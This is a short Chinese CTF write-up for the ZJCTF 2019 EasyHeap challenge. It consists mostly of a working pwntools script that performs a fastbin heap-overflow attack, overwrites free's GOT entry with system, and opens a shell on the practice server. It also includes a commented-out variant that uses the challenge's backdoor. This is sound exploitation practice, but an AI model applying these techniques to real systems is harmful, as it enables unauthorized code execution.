[ZJCTF 2019]EasyHeap

常规堆溢出题，存在后门。但是buuctf没有复现环境。所有就用system_plt了。

# -*- coding: utf-8 -*-
from PwnContext.core import *
binary = './easyheap'
debug_libc = './libc-2.23.so'
elf = ELF(binary)
libc = ELF(debug_libc)
local = 1



if local == 1 :
    sh = remote("node3.buuoj.cn","27379")
else:
    ctx.binary = binary
    ctx.remote_libc = debug_libc
    ctx.debug_remote_libc = True
    sh = ctx.start()

def edit(idx,size,content):
    sh.sendlineafter("Your choice :","2")
    sh.sendlineafter(":",str(idx))
    sh.sendlineafter(":",str(size))
    sh.sendafter(":",content)

def add(size,content):
    sh.sendlineafter("Your choice :","1")
    sh.sendlineafter(":",str(size))
    sh.sendlineafter(":",content)

def free(idx):
    sh.sendlineafter("Your choice :","3")
    sh.sendlineafter(":",str(idx))

def pwn():

    add(0x68,'')  # 0
    add(0x68,'')  # 1
    add(0x68,'')   #2
    free(2)
    payload = '/bin/sh\x00'
    payload = payload.ljust(0x68, 'a')
    payload += p64(0x71) + p64(0x6020ad)
    edit(1, 0x200, payload)
    add(0x68, '')
    add(0x68, '')
    payload = '\xaa' * 3 + p64(0) * 4 + p64(elf.got['free'])
    edit(3, len(payload) + 0x100, payload)
    edit(0, 9, p64(elf.plt['system']))
    free(1)
    sh.interactive()



'''      #利用后门修改bss
    free(2)
    payload = 'cyberh'
    payload = payload.ljust(0x68,'a')
    payload += p64(0x71) + p64(0x6020c0 -0x13)
    edit(1,0x200,payload)
    add(0x68,'')  #2
    add(0x68,'')   #3
    payload = 'AAAAAAAAAAA'
    edit(3, 0x68, payload)
    sh.sendafter("Your choice :", str(0x1305))
    sh.interactive()
'''


if __name__=="__main__":
    pwn()

 # 让fd指向 0x7f 前 0x8的位置 (fd指向chunk的头部包括size prev_size)